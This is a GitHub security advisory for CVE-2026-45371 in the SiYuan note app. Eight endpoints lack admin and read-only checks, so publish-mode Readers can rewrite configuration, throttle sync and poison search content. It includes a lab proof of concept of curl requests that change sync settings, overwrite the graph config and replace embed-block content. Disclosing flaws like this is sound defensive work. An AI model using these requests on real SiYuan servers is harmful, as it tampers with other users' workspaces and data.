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SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs

High severity GitHub Reviewed Published May 10, 2026 in siyuan-note/siyuan • Updated May 15, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260512140701-d7b77d945e0d

Patched versions

0.0.0-20260512140701-d7b77d945e0d

Description

Summary

SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs

POST /api/graph/getGraph, POST /api/graph/getLocalGraph, POST /api/sync/setSyncInterval, POST /api/storage/updateRecentDocViewTime, POST /api/storage/updateRecentDocCloseTime, POST /api/storage/updateRecentDocOpenTime, POST /api/storage/batchUpdateRecentDocCloseTime, and POST /api/search/updateEmbedBlock are registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly. Each of them writes server-side state, including atomic rewrites of <workspace>/conf/conf.json via model.Conf.Save(). Any caller whose JWT passes CheckAuth, including a publish-service RoleReader (the role assigned to anonymous publish visitors) and a RoleEditor against a workspace where Editor.ReadOnly = true, can hit them. This is the same root-cause class as the patched GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x.

Details

Affected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD 96dfe0be).

The router in kernel/api/router.go registers each endpoint below with model.CheckAuth only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous:

kernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only
kernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only
kernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only
kernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only
kernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only
kernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only
kernel/api/router.go:400 /api/graph/getGraph CheckAuth only
kernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only

# Compare the gated siblings on adjacent lines:
kernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly

Per-handler evidence:

kernel/api/graph.go:53 getGraph. Despite the verb "get", the body unconditionally overwrites model.Conf.Graph.Global from caller-supplied JSON and persists the entire workspace conf.json:

graphConf, err := gulu.JSON.MarshalJSON(confArg)
...
global := conf.NewGlobalGraph()
gulu.JSON.UnmarshalJSON(graphConf, global)
model.Conf.Graph.Global = global // attacker-controlled write
model.Conf.Save() // atomic rewrite of conf.json

kernel/api/graph.go:106 getLocalGraph. Same pattern on model.Conf.Graph.Local. Note the legitimate writers resetGraph (graph.go:29) and resetLocalGraph (graph.go:41) only set the struct to its constructor default (NewGlobalGraph() / NewLocalGraph()), whereas getGraph / getLocalGraph accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints.

kernel/api/sync.go:597 setSyncInterval. Calls model.SetSyncInterval(int(interval)) (kernel/model/sync.go:394) which writes Conf.Sync.Interval, persists Conf.Save(), and reschedules the sync goroutine via planSyncAfter. The model layer clamps the interval to [30, 43200], but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle).

kernel/api/search.go:287 updateEmbedBlock. Calls model.UpdateEmbedBlock(id, content) (kernel/model/search.go:198), which validates only that the block type is BlockQueryEmbed and then forwards to updateEmbedBlockContent (kernel/model/index.go:342). That helper rewrites the SQL blocks row's content column for the given embed-block ID via sql.UpdateBlockContentQueue. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL content column is what fullTextSearchBlock and getEmbedBlock read from, so a Reader can poison search results visible to other users.

kernel/api/storage.go:251,295,273,317 updateRecentDocViewTime / updateRecentDocCloseTime / updateRecentDocOpenTime / batchUpdateRecentDocCloseTime. Each rewrites the workspace recent-docs JSON file under recentDocLock (kernel/model/storage.go:171,213 ...). A Reader can register any rootID (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history.

The bugs have all existed since v3.6.5 (the active release tag) and the live master branch. Two adjacent advisories already patched the exact same shape: GHSA-6r88-8v7q-q4p2 (getTag writing Conf.Tag.Sort) and GHSA-4j3x-hhg2-fm2x (renderSprig missing CheckAdminRole + CheckReadonly). Both are listed by the maintainers as occurrences "the same root-cause class" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass.

PoC

Source-level reproduction. The same Docker compose lab the maintainers used for GHSA-6r88 works here:

# 1. Authenticate as any role with CheckAuth (admin used here for convenience;
# a publish-mode Reader JWT works equivalently).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
 -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null

# 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
 -H 'Content-Type: application/json' -d '{}' \
 | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\
print('Conf.Sync.Interval BEFORE =',c['sync']['interval']);\
print('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])"

# 3. setSyncInterval as Reader.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \
 -H 'Content-Type: application/json' -d '{"interval":30}'

# 4. getGraph as Reader, supplying a custom graph config struct.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \
 -H 'Content-Type: application/json' \
 -d '{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}'

# 5. Confirm in-memory and on-disk persistence.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
 -H 'Content-Type: application/json' -d '{}' \
 | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\
print('Conf.Sync.Interval AFTER =',c['sync']['interval']);\
print('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])"

docker exec siyuan-audit grep -oE '\"interval\":[0-9]+' /siyuan/workspace/conf/conf.json
docker exec siyuan-audit grep -oE '\"minRefs\":[0-9]+' /siyuan/workspace/conf/conf.json

# 6. updateEmbedBlock - rewrite SQL content for any embed block ID.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \
 -H 'Content-Type: application/json' \
 -d '{"id":"<embed-block-id>","content":"poisoned"}'

Source-level proof, no privileged token involved:

$ grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \
 kernel/api/router.go \
 | grep -vE 'CheckAdminRole|CheckReadonly'
kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ...
kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ...
kernel/api/router.go:188: ... /api/search/updateEmbedBlock", model.CheckAuth, ...
kernel/api/router.go:279: ... /api/sync/setSyncInterval", model.CheckAuth, ...
kernel/api/router.go:400: ... /api/graph/getGraph", model.CheckAuth, ...
kernel/api/router.go:401: ... /api/graph/getLocalGraph", model.CheckAuth, ...

Standing up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories' fix pattern are the same evidence the maintainers accepted for GHSA-fmh9-gpqh-g53g and GHSA-6r88-8v7q-q4p2 published 2026-05-08.

Impact

A publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a Editor.ReadOnly = true workspace can:

  1. Atomically rewrite <workspace>/conf/conf.json via Conf.Save() from setSyncInterval, getGraph, getLocalGraph. Conf.Save() rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window.
  2. Set the cloud sync interval to either bound of the [30, 43200] clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible "Sync enabled" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly.
  3. Overwrite Conf.Graph.Global and Conf.Graph.Local with a caller-controlled struct, breaking graph rendering for the admin (extreme maxBlocks, minRefs, nodeSize, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration a privileged setting.
  4. Poison the SQL blocks.content column for any embed-block ID via updateEmbedBlock. Search functions that read the SQL index (fullTextSearchBlock, getEmbedBlock) return the poisoned content to other users, so a Reader can plant content other users will see.
  5. Manipulate the recent-documents list seen by the admin via the four updateRecentDoc* writers, including registering IDs from publish-private notebooks (information disclosure plus UI manipulation).

The fix is a one-token edit per registration: add model.CheckAdminRole and model.CheckReadonly to each affected ginServer.Handle call, mirroring the gated siblings and the patches for GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x.

References

@88250 88250 published to siyuan-note/siyuan May 10, 2026
Published to the GitHub Advisory Database May 13, 2026
Reviewed May 13, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-45371

GHSA ID

GHSA-gmmv-4cc5-wr9r

Source code

Credits

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